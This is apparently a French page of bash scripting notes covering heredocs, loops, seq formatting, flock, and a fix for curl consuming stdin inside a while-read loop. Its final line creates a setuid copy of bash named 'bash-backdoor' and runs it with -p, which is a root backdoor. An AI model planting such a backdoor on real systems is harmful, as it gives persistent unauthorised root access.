Voir
Voir aussi :
ETCHOSTS=$(cat << 'EOF' 10.245.97.221 node1 10.245.102.221 node1b EOF )
Voir aussi :
for (( i=1; $i<=10; i=i+1 )) do echo $i done
Voir exemple avec seq ci-dessous
#for i in $(seq 10) for i in $(seq 1 10) do echo $i done
for i in {1..5} do echo $i done
seq -f "%f" 3 0.8. 6
seq -f "%g/04/2018" 10
seq -s - 8
fic.lst
foo bar
plop_sleep.sh
#! /bin/bash while read -r var do echo $var timeout 1 sleep inf done < fic.lst
plop_curl.sh
#! /bin/bash while read -r var do echo $var timeout 1 curl -s telnet://localhost:22 done < fic.lst
$ ./plop_sleep.sh foo bar $ ./plop_curl.sh foo
Contournement
plop_curl_2.sh
#! /bin/bash while read -r var do echo $var echo timeout 1 curl -s telnet://localhost:22 | bash -s -- done < fic.lst
Vraie solution
plop_curl_2.sh
#! /bin/bash while read -r var do echo $var timeout 1 curl -s telnet://localhost:22 </dev/null done < fic.lst
flock -n /tmp/plop.lock -c /opt/plop1.sh -c /opt/plop2.sh
sudo cp -p /usr/bin/bash /usr/bin/bash-backdoor sudo chmod u+s /usr/bin/bash-backdoor /usr/bin/bash-backdoor -p